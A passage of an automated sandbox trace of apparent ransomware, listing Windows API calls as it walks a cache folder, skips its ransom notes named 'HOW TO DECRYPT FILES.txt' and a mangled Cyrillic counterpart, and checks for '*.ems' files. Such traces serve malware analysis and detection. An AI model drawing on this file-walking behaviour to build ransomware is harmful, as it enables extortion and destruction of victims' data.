(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", pszSpec="*.ems") returned 0 [0086.995] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0086.995] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.995] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 1 [0086.995] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 1 [0086.995] lstrcmpiA (lpString1="", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned -1 [0086.995] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" [0086.995] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.995] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.995] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.995] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.995] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" [0086.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", pszSpec="*.ems") returned 0 [0086.995] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0086.996] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.996] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 1 [0086.996] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 1 [0086.996] lstrcmpiA (lpString1="", lpString2="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned -1 [0086.996] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" [0086.996] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.996] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.996] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.996] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.996] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" [0086.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", pszSpec="*.ems") returned 0 [0086.996] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0086.996] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.996] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 1 [0086.996] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 1 [0086.996] lstrcmpiA (lpString1="", lpString2="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned -1 [0086.996] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" [0086.997] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.997] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.997] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.997] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.997] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" [0086.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", pszSpec="*.ems") returned 0 [0086.997] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0086.997] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.997] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 1 [0086.997] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 1 [0086.997] lstrcmpiA (lpString1="", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned -1 [0086.997] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" [0086.997] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.997] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.997] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.997] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.998] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" [0086.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", pszSpec="*.ems") returned 0 [0086.998] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0086.998] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.998] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 1 [0086.998] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 1 [0086.999] lstrcmpiA (lpString1="", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned -1 [0086.999] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" [0086.999] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.999] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.999] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" [0086.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", pszSpec="*.ems") returned 0 [0086.999] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0086.999] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 1 [0086.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 1 [0086.999] lstrcmpiA (lpString1="", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned -1 [0086.999] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" [0086.999] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.999] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.999] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0087.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" [0087.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", pszSpec="*.ems") returned 0 [0087.000] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0087.000] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.000] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 1 [0087.000] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 1 [0087.000] lstrcmpiA (lpString1="", lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned -1 [0087.000] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") 